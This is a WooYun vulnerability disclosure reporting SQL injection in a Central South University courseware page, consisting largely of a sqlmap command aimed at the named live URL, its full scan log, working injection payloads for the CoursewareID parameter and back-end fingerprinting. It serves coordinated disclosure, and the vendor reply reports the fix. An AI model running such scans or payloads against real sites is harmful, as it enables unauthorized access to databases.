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缺陷编号：
wooyun-2016-0174085
漏洞标题：
中南大学某页面存在SQL注射
相关厂商：
中南大学
漏洞作者：
linkey
提交时间：
2016-02-01 10:58
修复时间：
2016-02-26 15:25
公开时间：
2016-02-26 15:25
漏洞类型：
SQL注射漏洞
危害等级：
低
自评Rank：
4
漏洞状态：
厂商已经修复
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
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漏洞详情

披露状态：

2016-02-01： 细节已通知厂商并且等待厂商处理中
2016-02-05： 厂商已经确认，细节仅向厂商公开
2016-02-15： 细节向核心白帽子及相关领域专家公开
2016-02-25： 细节向普通白帽子公开
2016-02-26： 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

RT

详细说明：

sqlmap.py -u "http://netclass.csu.edu.cn/Video/video/video.aspx?CoursewareID=17" --table


得出：

[21:36:11] [INFO] testing connection to the target url
[21:36:12] [INFO] testing if the url is stable, wait a few seconds
[21:36:14] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and pro
vide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
[21:36:17] [INFO] testing if GET parameter 'CoursewareID' is dynamic
[21:36:17] [INFO] confirming that GET parameter 'CoursewareID' is dynamic
[21:36:18] [INFO] GET parameter 'CoursewareID' is dynamic
[21:36:18] [WARNING] heuristic test shows that GET parameter 'CoursewareID' migh
t not be injectable
[21:36:18] [INFO] testing for SQL injection on GET parameter 'CoursewareID'
[21:36:18] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:36:20] [WARNING] reflective value(s) found and filtering out
[21:36:21] [INFO] GET parameter 'CoursewareID' is 'AND boolean-based blind - WHE
RE or HAVING clause' injectable
[21:36:21] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[21:36:22] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[21:36:22] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[21:36:22] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[21:36:22] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[21:36:23] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[21:36:23] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[21:36:44] [INFO] GET parameter 'CoursewareID' is 'Microsoft SQL Server/Sybase s
tacked queries' injectable
[21:36:44] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[21:36:45] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[21:36:48] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[21:37:09] [INFO] GET parameter 'CoursewareID' is 'Microsoft SQL Server/Sybase t
ime-based blind' injectable
[21:37:09] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[21:37:09] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[21:37:15] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[21:37:16] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[21:37:17] [INFO] target url appears to have 19 columns in query
sqlmap got a 302 redirect to 'http://netclass.csu.edu.cn:80/Video/default.aspx'.
 Do you want to follow? [Y/n] n
injection not exploitable with NULL values. Do you want to try with a random int
eger value for option '--union-char'? [Y/n] y
[21:37:49] [WARNING] if UNION based SQL injection is not detected, please consid
er forcing the back-end DBMS (e.g. --dbms=mysql)
GET parameter 'CoursewareID' is vulnerable. Do you want to keep testing the othe
rs (if any)? [y/N] y
sqlmap identified the following injection points with a total of 126 HTTP(s) req
uests:


结果:

sqlmap identified the following injection points with a total of 126 HTTP(s) re
uests:
---
Place: GET
Parameter: CoursewareID
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: CoursewareID=17' AND 6739=6739 AND 'LgUR'='LgUR
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: CoursewareID=17'; WAITFOR DELAY '0:0:5';--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: CoursewareID=17' WAITFOR DELAY '0:0:5'--
---
[21:37:52] [INFO] testing MySQL
[21:37:53] [WARNING] the back-end DBMS is not MySQL
[21:37:53] [INFO] testing Oracle
[21:37:53] [WARNING] the back-end DBMS is not Oracle
[21:37:53] [INFO] testing PostgreSQL
[21:37:53] [WARNING] the back-end DBMS is not PostgreSQL
[21:37:53] [INFO] testing Microsoft SQL Server
[21:37:54] [INFO] confirming Microsoft SQL Server
[21:37:55] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows Vista
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2005

漏洞证明：

1.png


2.png

修复方案：

过滤

版权声明：转载请注明来源 linkey@乌云

>

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：5

确认时间：2016-02-05 16:13

厂商回复：

网站已不再使用，拟从互联网撤除

最新状态：

2016-02-26：已修复